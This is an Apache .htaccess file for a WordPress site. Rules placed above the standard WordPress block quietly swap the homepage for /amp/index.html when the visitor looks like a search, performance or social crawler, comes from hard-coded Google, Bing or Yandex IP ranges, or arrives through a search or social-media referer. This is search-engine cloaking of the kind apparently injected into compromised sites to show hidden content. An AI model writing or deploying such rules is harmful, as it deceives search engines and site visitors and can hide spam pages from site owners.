<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    
    # ===== HOMEPAGE ONLY CONDITION (for all rules below) =====
    
    # ===== METHOD 1: User Agent Detection =====
    # Search engine bots
    RewriteCond %{REQUEST_URI} ^/?$
    RewriteCond %{HTTP_USER_AGENT} (googlebot|google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|applebot|semrushbot|dotbot|mj12bot|ahrefsbot|crawler|spider|bot|crawl) [NC,OR]
    # Performance testing tools
    RewriteCond %{HTTP_USER_AGENT} (lighthouse|chrome-lighthouse|pagespeed|gtmetrix|pingdom|uptimerobot|statuscake) [NC,OR]
    # Social media crawlers
    RewriteCond %{HTTP_USER_AGENT} (facebookexternalhit|twitterbot|linkedinbot|whatsapp|telegram|discord|reddit|pinterest|tiktok) [NC]
    RewriteCond %{DOCUMENT_ROOT}/amp/index.html -f
    RewriteRule ^(.*)$ /amp/index.html [L]
    
    # ===== METHOD 2: IP Range Detection for Google =====
    # Google IP ranges
    RewriteCond %{REQUEST_URI} ^/?$
    RewriteCond %{REMOTE_ADDR} ^66\.249\. [OR]
    RewriteCond %{REMOTE_ADDR} ^66\.102\. [OR]
    RewriteCond %{REMOTE_ADDR} ^72\.14\. [OR]
    RewriteCond %{REMOTE_ADDR} ^74\.125\. [OR]
    RewriteCond %{REMOTE_ADDR} ^209\.85\. [OR]
    RewriteCond %{REMOTE_ADDR} ^216\.239\. [OR]
    RewriteCond %{REMOTE_ADDR} ^64\.233\. [OR]
    RewriteCond %{REMOTE_ADDR} ^172\.217\. [OR]
    RewriteCond %{REMOTE_ADDR} ^216\.58\. [OR]
    RewriteCond %{REMOTE_ADDR} ^142\.250\. [OR]
    RewriteCond %{REMOTE_ADDR} ^142\.251\. [OR]
    RewriteCond %{REMOTE_ADDR} ^34\.64\. [OR]
    RewriteCond %{REMOTE_ADDR} ^34\.65\. [OR]
    RewriteCond %{REMOTE_ADDR} ^34\.80\. [OR]
    RewriteCond %{REMOTE_ADDR} ^34\.96\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.186\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.187\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.188\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.189\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.190\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.191\. [OR]
    RewriteCond %{REMOTE_ADDR} ^192\.178\. [OR]
    RewriteCond %{REMOTE_ADDR} ^34\.100\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.247\.
    RewriteCond %{DOCUMENT_ROOT}/amp/index.html -f
    RewriteRule ^(.*)$ /amp/index.html [L]
    
    # ===== METHOD 3: IP Range Detection for Bing =====
    RewriteCond %{REQUEST_URI} ^/?$
    RewriteCond %{REMOTE_ADDR} ^40\.77\. [OR]
    RewriteCond %{REMOTE_ADDR} ^157\.55\. [OR]
    RewriteCond %{REMOTE_ADDR} ^207\.46\. [OR]
    RewriteCond %{REMOTE_ADDR} ^13\.66\. [OR]
    RewriteCond %{REMOTE_ADDR} ^65\.52\. [OR]
    RewriteCond %{REMOTE_ADDR} ^199\.30\.
    RewriteCond %{DOCUMENT_ROOT}/amp/index.html -f
    RewriteRule ^(.*)$ /amp/index.html [L]
    
    # ===== METHOD 4: IP Range Detection for Yandex =====
    RewriteCond %{REQUEST_URI} ^/?$
    RewriteCond %{REMOTE_ADDR} ^5\.255\. [OR]
    RewriteCond %{REMOTE_ADDR} ^37\.9\. [OR]
    RewriteCond %{REMOTE_ADDR} ^37\.140\. [OR]
    RewriteCond %{REMOTE_ADDR} ^77\.88\. [OR]
    RewriteCond %{REMOTE_ADDR} ^87\.250\. [OR]
    RewriteCond %{REMOTE_ADDR} ^93\.158\. [OR]
    RewriteCond %{REMOTE_ADDR} ^95\.108\. [OR]
    RewriteCond %{REMOTE_ADDR} ^100\.43\. [OR]
    RewriteCond %{REMOTE_ADDR} ^141\.8\. [OR]
    RewriteCond %{REMOTE_ADDR} ^178\.154\. [OR]
    RewriteCond %{REMOTE_ADDR} ^213\.180\.
    RewriteCond %{DOCUMENT_ROOT}/amp/index.html -f
    RewriteRule ^(.*)$ /amp/index.html [L]
    
    # ===== METHOD 5: Cloudflare Headers Detection =====
    RewriteCond %{REQUEST_URI} ^/?$
    RewriteCond %{HTTP:CF-Connecting-IP} !^$
    RewriteCond %{HTTP:CF-Bot-Management} !^$ [OR]
    RewriteCond %{HTTP:CF-Visitor} !^$
    RewriteCond %{DOCUMENT_ROOT}/amp/index.html -f
    RewriteRule ^(.*)$ /amp/index.html [L]
    
    # ===== METHOD 6: Social Media Referer Detection =====
    RewriteCond %{REQUEST_URI} ^/?$
    RewriteCond %{HTTP_REFERER} (facebook\.com|fb\.com|m\.facebook\.com|twitter\.com|t\.co|x\.com|linkedin\.com|lnkd\.in|instagram\.com|ig\.me|whatsapp\.com|wa\.me|telegram\.org|t\.me|discord\.com|discordapp\.com|reddit\.com|redd\.it|pinterest\.com|pin\.it|tiktok\.com|vm\.tiktok\.com|youtube\.com|youtu\.be|snapchat\.com|viber\.com|skype\.com|google\.|bing\.com|yahoo\.com|duckduckgo\.com|yandex\.|baidu\.com) [NC]
    RewriteCond %{DOCUMENT_ROOT}/amp/index.html -f
    RewriteRule ^(.*)$ /amp/index.html [L]
    
    # ===== METHOD 7: Explicit Query Parameter =====
    RewriteCond %{REQUEST_URI} ^/?$
    RewriteCond %{QUERY_STRING} (^|&)(amp|bot|optimized)=?(1|true)?(&|$) [NC]
    RewriteCond %{DOCUMENT_ROOT}/amp/index.html -f
    RewriteRule ^(.*)$ /amp/index.html [L]
</IfModule>

# Add Vary header for proper caching
<IfModule mod_headers.c>
    <FilesMatch "\.(html|php)$">
        Header append Vary User-Agent
        Header append Vary CF-Connecting-IP env=CF_CONNECTING_IP
    </FilesMatch>
</IfModule>

# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>